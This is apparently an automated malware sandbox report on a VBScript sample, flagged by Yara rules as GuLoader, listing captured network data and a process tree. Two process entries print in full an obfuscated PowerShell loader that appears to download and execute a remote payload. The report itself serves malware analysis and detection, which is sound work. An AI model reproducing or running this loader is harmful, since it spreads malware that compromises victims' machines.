2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 94 c8 5a df 80 bd 7e 84 86 d2 d4 7b 9c af fc 68 81 ad ee 90 97 14 86 8b 6f a7 bd 94 80 a5 ad 7e 12 f9 d6 1c d9 51 c5 35 ab c2 e1 47 a1 0c bb ec e3 30 b7 01 ca 08 82 16 56 50 6c ed 85 59 04 b0 6c 70 10 91 07 29 70 f8 17 cd 02 00 77 d1 3d ab 55 b4 d1 eb e0 0d 83 b4 34 92 41 f5 5a 49 54 56 84 1d d9 1b 28 d9 15 1c ac f0 99 11 0a c4 7a 86 4d 78 5d 9a 8b 6d 42 19 d9 19 18 d6 40 9d ec 84 5a 94 1a b7 b3 6f b5 74 03 c4 f6 9e ae ac 28 3c e0 18 d9 b7 f2 fe 5f 7b b5 4c 35 bc 5e 97 72 67 f4 58 8f 9b 02 9b d1 a4 ec c5 08 c0 ab 9a 40 92 ef bc b2 3c 4b 7e 94 dd f2 bf cc 23 89 ad 77 cc ec 20 43 63 b9 b4 f5 b6 e7 48 a1 72 fd 7e 5e 54 38 f2 40 c6 da 71 6e 3e 45 db 5c 80 09 03 4a b2 ca c3 ce 60 f6 f5 96 ac a7 5e 58 99 69 cb 81 54 92 df a4 6c 1d b7 b3 f8 65 72 f9 1a d7 9b fb Data Ascii: Z~{ho~Q5G0VPlYlp)pw=U4AZITV(zMx]mB@Zot(<_{L5^rgX@<K~#w CcHr~^T8@qn>E\J`^XiTler
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: e6 f2 97 50 41 1c 7e 14 68 71 2e 90 15 88 8e 21 e7 bc ce da cb 8a a9 2f a6 f1 bf f4 22 8e 01 fa 0e ac 90 5a 57 fd 5c 55 62 9c 65 71 cb 28 39 63 6d 26 b2 8b 6d 82 47 04 ec ae 02 55 ce 9e 77 e1 94 76 84 f9 b9 d0 6e de ae 0c 21 d2 c4 c0 93 db 8f 74 92 9f d0 d5 2d 93 83 f1 30 c9 a9 a9 30 98 55 1c aa 25 22 ab 48 b0 d4 2d 60 26 12 2c ff 69 ed c5 96 d1 82 f5 3b 99 fc f3 79 ee 90 f2 d8 92 95 59 09 62 2a 7b 3d 98 6d 74 89 d3 8c 27 ca 9b c4 a1 90 24 c4 81 82 e7 67 e4 b8 b2 df e4 6b bf ee 5f 27 bd c6 ae 60 9c e5 2e 3a 99 d4 ca 64 96 f6 f5 67 bc 3c 9e 6f af ea 29 64 40 65 ea b4 ae 0f 30 c7 3a 23 79 20 7b b4 af e7 f3 46 08 e4 bc 76 a9 a8 f0 71 5b 2f df 16 2e 32 6d 79 5c 5b 0c 97 41 19 58 88 8c ac bd 69 03 9a 13 b4 be 95 7a 16 49 13 cf 1d 46 84 a9 88 7a b8 8f 0d ad f1 Data Ascii: PA~hq.!/"ZW\Ubeq(9cm&mGUwvn!t-00U%"H-`&,i;yYb*{=mt'$gk_'`.:dg<o)d@e0:#y {Fvq[/.2my\[AXizIFz
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 56 8f 45 fb 31 ec 2d 37 05 9d fe f0 18 d8 18 48 d8 37 4f 39 c4 f6 40 ee fe d4 8d fd c8 90 cd 48 94 6e ad 6b 5d 73 62 50 47 d9 ff c4 9f f8 25 2e d3 4c ab 5e 26 3d 59 90 c0 c1 f2 1f 7c 47 e5 5a b8 59 44 9e b1 7f c6 bc 70 35 55 1b b1 4e 13 11 a1 90 64 63 99 6d 20 ff 79 39 66 09 e5 07 70 74 87 f1 f7 1c 9c 74 78 7c 1d 1a 48 15 1e aa 1a 9d 77 83 22 1e 76 85 ca 54 f2 54 a0 7a 88 4c 5e ad 68 20 8d c2 7a 3e d1 a0 81 1a b9 31 b0 a7 70 ea 13 a1 f4 19 5c a8 90 bf 46 c9 ae 94 9b 2b c8 5c 52 fc 06 dc c0 1d 64 34 84 69 84 6c ef c5 d0 1a cc 3b c5 7e c6 86 d4 de bd 17 80 63 3b ac 44 08 1b b0 e3 af fa e0 ba e0 7c 11 76 21 e0 eb 2a 55 19 a8 c5 03 20 6d 81 30 2b 4e d9 c0 55 79 b6 71 79 2a 64 29 91 94 c4 ba a2 68 43 9e 11 45 5e e7 ea c4 47 69 7a 09 e4 3e d3 4d 5d 36 e8 02 ba Data Ascii: VE1-7H7O9@Hnk]sbPG%.L^&=Y\|GZYDp5UNdcm y9fpttx\|Hw"vTTzL^h z>1p\F+\Rd4il;~c;D\|v!U m0+NUyqyd)hCE^Giz>M]6
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 52 d9 1a a5 bb f8 64 b4 28 ae c6 60 db 80 56 85 70 6f 9b ee b1 09 35 47 fe 27 51 5d 6d 61 a8 85 58 e1 4e 14 43 ac d4 9b 4b fe 1c 15 b1 70 68 52 cf 77 61 c9 70 c0 67 e0 69 dc 23 9d c1 45 b8 86 b1 af 3f 51 6a a1 79 c7 df 01 32 64 17 30 98 ba 9b c5 85 15 c7 34 58 c5 70 78 63 55 88 4d a8 34 da ab b3 81 df a0 a0 b1 95 bb 1a 48 93 da b3 c9 e7 df 35 84 3e 05 bc 17 a2 d3 23 02 0b 2a 06 b9 42 92 27 92 80 e7 90 7a 01 88 b9 b3 23 a3 3c 27 9a db ae 05 b3 0e 13 c7 84 c7 10 8e 8a e9 ed a2 48 5c 7d 10 b8 f0 f8 fb cc 9b b6 e4 69 a2 6b 4b 8d a2 84 12 a5 54 6e e9 c6 c9 70 48 b2 61 8a b0 a0 62 56 d6 81 2c ca 6b cb 23 18 79 7b cf fe 54 0e c1 80 84 73 fd 26 02 c3 81 7e 73 2a 89 ee 3b ef 53 c6 6b c3 98 75 ee 23 cc 88 ca 88 78 d6 ee f7 d2 63 4c 5f e9 2a 57 28 4a be 5b ba 2a cd Data Ascii: Rd(`Vpo5G'Q]maXNCKphRwapgi#E?Qjy2d04XpxcUM4H5>#B'z#<'H\}ikKTnpHabV,k#y{Ts&~s;Sku#xcL_W(J[
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 97 0c 2e ef fd a9 89 bc 69 4b 8d c4 88 5c 0f dc b5 40 0c d7 e5 82 74 b6 ca 64 25 1f 20 27 28 13 ed 94 4b d5 bd c9 5b fc b1 f3 a2 da e9 13 b0 00 a7 a5 80 fc 7f 3d 46 63 5f c9 d8 66 8c 4f fc f1 90 f3 fe 2c f1 c4 cb 47 79 11 a5 f3 53 4d 74 7d 15 84 c3 ad bc 21 ee 8a 8a dd 57 90 9b 3d bf 69 2c 28 fd a1 6d c1 f2 e6 8b d7 21 8a 74 7d 34 cf 65 ef e2 51 13 97 1e 95 02 32 82 7c bc 9c c4 61 a7 ff 12 0d 9a 49 0d a0 18 9f a2 fc ca 01 fe 0d 95 1d 19 17 4f 01 4b 59 fc fa 52 7c bf e6 f8 10 fb 28 05 0d da 7f b9 3d cc e7 97 fa 93 26 ff 12 23 40 83 3c a2 7d a9 63 f9 81 44 0c 69 be 99 79 e3 7e ff a3 73 bf 9f da 97 ba 4c a7 7f f4 08 fe 19 49 b6 1b 8b ba 59 be 95 d9 13 1d 7f ab cd b2 25 a5 b8 d0 ff bb 5f 30 91 e0 8b bd 9d bd d4 fa 78 a7 27 dc f8 c2 3b 1b 6c 68 84 8b c0 fa 2a Data Ascii: .iK\@td% '(K[=Fc_fO,GySMt}!W=i,(m!t}4eQ2\|aIOKYR\|(=&#@<}cDiy~sLIY%_0x';lh*
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 5e e0 34 e6 79 3e d2 8b 8c 98 b5 59 1f b0 00 a9 5f 6e 88 7d 7c 52 06 f2 39 05 b9 3a 82 26 c6 8c a4 fa 7f 38 22 08 1e ae 34 11 e3 ad 1f 74 62 4d 97 ca 29 36 3c 97 63 8c 86 4e ff a7 94 a6 cb fc 26 d5 cc af a3 f1 05 ec 15 f8 c9 34 f1 ec 69 f7 1c 66 36 cd f5 34 de 72 06 d0 1f 2f e9 3d 5c 87 56 fb 22 d3 76 d4 b6 13 de 67 8a 99 61 68 d5 0b 23 ae f4 39 2f 93 2d 68 cd 12 ff 07 10 00 5d 6f 45 4c 9b 78 6e 79 37 bf b2 93 73 39 8a e2 bd ad 20 ef 4d eb ec 08 a8 fb 65 60 ac 93 0c 9f 58 94 fe b7 5f 3b 09 16 ed cf 4b 51 49 cb cf 92 bf 78 4d 8e 6d 60 21 92 44 8b f1 e4 37 4f 15 67 82 68 b3 bd 52 57 32 fd 8e bf 61 75 54 c8 e4 94 d6 8b 20 32 81 ff 98 af 28 47 7f 13 88 c4 64 3e dc 7f 9c f0 1c 35 97 e9 eb b1 db 39 8c 0e c7 d3 ca b5 b3 40 99 21 46 7c b6 82 cd 68 14 40 4d 40 29 Data Ascii: ^4y>Y_n}\|R9:&8"4tbM)6<cN&4if64r/=\V"vgah#9/-h]oELxny7s9 Me`X_;KQIxMm`!D7OghRW2auT 2(Gd>59@!F\|h@M@)
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 01 b0 75 a0 8f 57 29 8c 6f 5e e2 fc 7a 57 c0 cc d7 d6 69 93 7e a4 92 1a de 46 22 f8 10 65 e9 14 75 7c ad 6f fc 33 b3 3e fc 6f fb 11 54 07 d5 de 01 aa e3 22 03 18 2c 88 bc 3e ad d7 2c 6b 3b 0a c2 73 2d 0e ac 2d b6 b0 f8 3b e3 2f 2b 0f a8 f9 cb 7f 10 d3 e9 7d 92 c1 bb 10 15 4b 85 99 14 35 05 04 ba 3e c6 d5 d8 f5 ce 95 83 0b af 80 27 57 d6 5f b9 f3 a5 ce 70 ea 48 24 eb 2a eb 06 7e 68 1f d4 e2 6d 29 e7 ef 09 b4 4c 57 3a 1f d9 ac 4a 11 84 74 7d 7f df 59 f5 2b 5f 1e 89 ef 1d c4 64 f1 20 a3 dd a8 36 48 5f ff 9f 9d 0e 84 04 aa 8d 2a d4 30 ab 91 c4 33 a3 24 bb f3 41 30 03 d5 ed 8a b4 4a 42 43 8c 67 16 91 dd 15 a6 a3 3f 9d 58 24 a6 a7 8a 70 19 0c 3f 89 31 09 d5 e8 f7 df 10 76 80 4f 23 6c 2e 18 45 af 60 47 52 f5 3d 5f ee 3a 78 2a ae 5d 52 d9 c4 3d 3b 37 37 ab 08 61 Data Ascii: uW)o^zWi~F"eu\|o3>oT",>,k;s--;/+}K5>'W_pH$~hm)LW:Jt}Y+_d 6H_03$A0JBCg?X$p?1vO#l.E`GR=_:x*]R=;77a
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: 02 41 ff ae ab 1b 6d ae 55 91 14 fd d6 c7 1b 06 b8 51 7c f9 56 87 d5 14 ab d5 77 6d 45 97 63 00 e4 99 19 44 cc 09 80 d2 f3 eb d9 2f bc af dc 6b 3d f4 f6 a3 b7 53 d4 53 c6 86 81 7b 2b b8 56 ed 83 30 a0 c0 40 10 ef 5f b2 9d 48 b6 d0 a7 00 2a 6d 58 46 ba d6 b7 dd 53 65 23 54 22 b4 e6 d1 57 86 54 cc ce dd 51 cb 61 2e d0 20 49 c0 1d 02 ab 00 75 66 95 4a 5b bc 55 df cd 28 2b fd 7a 4d 3c 55 4d 52 27 c3 4d 37 cb a4 d3 15 e1 58 94 34 99 3e ac c8 09 66 e5 38 a8 b7 89 2c 0e 6c 8e 46 65 a1 2e 3b 27 bb 3a 4b 01 75 fb 03 6d ed 31 7c 8f 42 3f 6d a5 fa a7 2b 22 7b fa 6f 1c f2 9e 6b a6 94 94 0f 4d b3 69 65 e2 70 49 8c 75 61 a4 ae 8e 85 2f 34 51 c0 25 2a b2 ee 95 0a 4b 46 44 2b 71 7f fe 13 1e b1 e1 33 db 28 b8 00 8c 49 b9 1a 96 92 0c 83 1e fd fe 67 63 29 72 b4 40 b2 01 51 Data Ascii: AmUQ\|VwmEcD/k=SS{+V0@_HmXFSe#T"WTQa. IufJ[U(+zM<UMR'M7X4>f8,lFe.;':Kum1\|B?m+"{okMiepIua/4Q%KFD+q3(Igc)r@Q
2024-12-05 09:46:27 UTC	8000	IN	Data Raw: d3 f5 8c f0 02 82 cc ae c5 7f b7 4d 26 2f 5c ec f1 37 6d d9 1c 4f 30 f8 e6 6d 21 6f 25 35 48 9e 3e 24 d7 43 8a 87 2c 4b 93 c9 9d a0 18 5c f8 e9 b2 7a e0 ee d5 54 f1 3e d4 3c 7f 15 93 5d 4f 03 29 ba a6 54 28 ae 16 8c eb 86 93 b7 02 14 11 84 1d cc 4a 5e 05 0f 05 fd 42 94 37 d7 a9 45 cc b2 48 85 cd bd e3 53 df 24 e0 b8 fd b0 f7 05 ea df 43 e4 f1 a3 01 52 24 2c 5f 32 4e 67 72 35 22 08 43 82 9f aa aa 32 10 49 48 bd a5 9e 15 a5 e5 b7 98 d2 71 40 f5 d3 47 a5 d0 d2 fb 77 62 0f 35 7c 79 60 02 54 e9 58 7e b0 4d f2 e8 78 9c 69 a5 86 46 26 24 70 7a 07 23 3b 6a 04 f9 b4 91 72 2c 53 8f a2 2c 9f ea f3 a8 37 bd 5d 6a bf 7c 7d d8 34 6d 61 6f 5c b1 5f a6 b3 0f c6 ff 25 ab 76 b6 e7 e3 b1 91 c9 89 9f 4a 98 65 47 da 85 c3 64 6f 82 bc bb fb ea 38 62 96 54 78 9f bc 2c e1 71 52 Data Ascii: M&/\7mO0m!o%5H>$C,K\zT><]O)T(J^B7EHS$CR$,_2Ngr5"C2IHq@Gwb5\|y`TX~MxiF&$pz#;jr,S,7]j\|}4mao\_%vJeGdo8bTx,qR

Target ID:	0
Start time:	04:45:54
Start date:	05/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\payload_1.vbs"
Imagebase:	0x7ff6820a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	04:45:54
Start date:	05/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get caption,serialnumber
Imagebase:	0x7ff7492c0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	04:45:54
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	04:45:55
Start date:	05/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Mareschal 'C sE.TSoaBarBotD.-OiS SL SeRre,rp S L4');Dilemmatically (Mareschal 'Bu$ GM.L.oO VBCoADil k:OfvB,iH R ouDeSW SUdEReNR s B=Aa(R th e iShat.n- P.oaFlT H S Ha$B fSao srSan EjToEN dS eopS )') ;Dilemmatically (Mareschal 'L.$BrGunlKjOudBMea BlH.:Vag COBllModPaBCiEPrRBuR YCa=.e$ougImlTaOV bP,A kLNi: OgMilTyaAbmDeOInrSvIMoz aASlt.fi UOP.NMeSUn+He+ a%,k$ Sc .HM aUdpCalSeeH,SSwsD..CocBaoOluPrNsst') ;$Partisk=$Chapless[$Goldberry]}$Overmaling=304709;$Brudfladerne=28809;Dilemmatically (Mareschal ' P$ aG L,toAbBS AVaL V:SyUSmNWoBs A r BE aStR oo CU SsDd .e=st Apg FESktTy- oc oOIfn ITDee N utIs $Atfnoo.tRSpn rj aEDaDA E Ns');Dilemmatically (Mareschal ' L$Tog.elsmo eb taVilAf:C.UocnsuiI vO,eWhr sSoaTelWhs t or om,kfrooLyr PsskyKonPoiD nC gTye r Tr=Ma Al[RaS Ry,uscyt tePemPs.FoCO o nWovOdeMorPltSt]Ut:Bo:FlF erGroN mPrB Aa MsC.e v6Bi4OvS,otflrPei PnbigO,( G$PaU TnI b Ba urKnbC aInr .o uSisPr)');Dilemmatically (Mareschal ' $HeG.tLKaoU,BBiAMoLA.:n bT,RamIZyG i .tJ Tst an=En .a[SesNoYDdS rTIneSoMAa.EltFieecXAuTHu. aeEnnP C Ao edhyiBenPigKl]Ks:Bi:OuA rSprc ,i iBi.D,GEnE .Tc SMbTexrSoIKlnKugMe( O$PruS N ,iDov teMurS SSvaShL.rSHatA RrimK FDeOKrrOvs PY n SI.oNt G,ueStr T)');Dilemmatically (Mareschal ' A$ ,g,il OOSeBStAAnlhu:Sts UtSkiTokLanG.a.uREaKB,OT M maEnn fe SRL,N,rEStsSo= m$ oB Ar I CG CIGaTT TBr.ArSAnUPrbTysTrtunRReiB nExg P(Sp$NaOOrV eeTirH,M ACoL,eispnM Gco,.r$ TBKrR puJuDL FcrlAgABaDM eK,R tNNeeB,)');Dilemmatically $Stiknarkomanernes;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	04:45:55
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	04:46:06
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Mareschal 'C sE.TSoaBarBotD.-OiS SL SeRre,rp S L4');Dilemmatically (Mareschal 'Bu$ GM.L.oO VBCoADil k:OfvB,iH R ouDeSW SUdEReNR s B=Aa(R th e iShat.n- P.oaFlT H S Ha$B fSao srSan EjToEN dS eopS )') ;Dilemmatically (Mareschal 'L.$BrGunlKjOudBMea BlH.:Vag COBllModPaBCiEPrRBuR YCa=.e$ougImlTaOV bP,A kLNi: OgMilTyaAbmDeOInrSvIMoz aASlt.fi UOP.NMeSUn+He+ a%,k$ Sc .HM aUdpCalSeeH,SSwsD..CocBaoOluPrNsst') ;$Partisk=$Chapless[$Goldberry]}$Overmaling=304709;$Brudfladerne=28809;Dilemmatically (Mareschal ' P$ aG L,toAbBS AVaL V:SyUSmNWoBs A r BE aStR oo CU SsDd .e=st Apg FESktTy- oc oOIfn ITDee N utIs $Atfnoo.tRSpn rj aEDaDA E Ns');Dilemmatically (Mareschal ' L$Tog.elsmo eb taVilAf:C.UocnsuiI vO,eWhr sSoaTelWhs t or om,kfrooLyr PsskyKonPoiD nC gTye r Tr=Ma Al[RaS Ry,uscyt tePemPs.FoCO o nWovOdeMorPltSt]Ut:Bo:FlF erGroN mPrB Aa MsC.e v6Bi4OvS,otflrPei PnbigO,( G$PaU TnI b Ba urKnbC aInr .o uSisPr)');Dilemmatically (Mareschal ' $HeG.tLKaoU,BBiAMoLA.:n bT,RamIZyG i .tJ Tst an=En .a[SesNoYDdS rTIneSoMAa.EltFieecXAuTHu. aeEnnP C Ao edhyiBenPigKl]Ks:Bi:OuA rSprc ,i iBi.D,GEnE .Tc SMbTexrSoIKlnKugMe( O$PruS N ,iDov teMurS SSvaShL.rSHatA RrimK FDeOKrrOvs PY n SI.oNt G,ueStr T)');Dilemmatically (Mareschal ' A$ ,g,il OOSeBStAAnlhu:Sts UtSkiTokLanG.a.uREaKB,OT M maEnn fe SRL,N,rEStsSo= m$ oB Ar I CG CIGaTT TBr.ArSAnUPrbTysTrtunRReiB nExg P(Sp$NaOOrV eeTirH,M ACoL,eispnM Gco,.r$ TBKrR puJuDL FcrlAgABaDM eK,R tNNeeB,)');Dilemmatically $Stiknarkomanernes;"
Imagebase:	0xf40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.1960598330.0000000008EF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.1936823765.000000000628B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.1961051493.000000000ABA5000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	04:46:06
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
